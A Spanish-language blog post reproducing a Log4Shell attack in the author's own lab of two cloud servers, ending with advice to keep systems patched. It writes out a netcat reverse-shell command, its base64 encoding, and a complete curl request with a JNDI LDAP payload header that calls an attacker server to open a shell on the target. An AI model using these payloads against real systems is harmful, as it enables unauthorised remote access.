Hace varios días que se descubrió y publicó la existencia de una vulnerabilidad critica en Apache Log4j, algo que está teniendo un impacto enorme en gran cantidad de servidores de Internet. Tanto es así que incluso se han aprovechado de este error para acceder a diferentes máquinas y usarlas para minar criptomonedas.

Existen infinidad de posts y vídeos donde describen en detalle esta vulnerabilidad, así que nosotros vamos a hacer un experimento: Vamos a reproducir un ataque aprovechando este error. Para esto nos vamos a servir de algunas herramientas que listo al final del artículo.

Para este experimento usaré dos servidores de DigitalOcean. El primero actuará como servidor vulnerable (al que vamos a atacar/acceder):

El otro servidor corre un servidor LDAP malicioso y un netcat listener para acceder al shell remoto:

Ahora iniciamos el ataque. Desde local, por ejemplo. Como el servidor LDAP malintencionado puede admitir comandos codificados en base64

ldap://127.0.0.1:1389/Basic/Command/Base64/[base64_encoded_cmd]

Preparamos el comando y lo codificamos:

nc 161.35.67.220 4444 -e /bin/sh
bmMgMTYxLjM1LjY3LjIyMCA0NDQ0IC1lIC9iaW4vc2g=

Así que ya tenemos el comando para ejecutar el ataque, de modo que quedaría así:

curl 165.227.175.232:8080 -H 'X-Api-Version: ${jndi:ldap://161.35.67.220:1389/Basic/Command/Base64/bmMgMTYxLjM1LjY3LjIyMCA0NDQ0IC1lIC9iaW4vc2g=}' 

El servidor vulnerable encuentra unos errores

Y voila, el servidor ya es nuestro, como se puede ver recibe una conexión:

Y tenemos acceso total:

Moraleja 1: El software libre no es peor ni mejor que el privativo, pero nos permite conocer muy rápido cualquier tipo de vulnerabilidades; y al tener acceso al código fuente, nosotros mismos podríamos corregirlo (en teoría). Aunque de todas formas, y como norma general, las correciones se publican en muy poco tiempo. Todos conocemos errores y fallos de Windows que después de años siguen sin solución.

Moraleja 2: Por favor, tened vuestros equipos actualizados, no me seáis ceporros…

Referencias:

https://www.lunasec.io/docs/blog/log4j-zero-day/
https://github.com/welk1n/JNDI-Injection-Exploit
https://github.com/christophetd/log4shell-vulnerable-app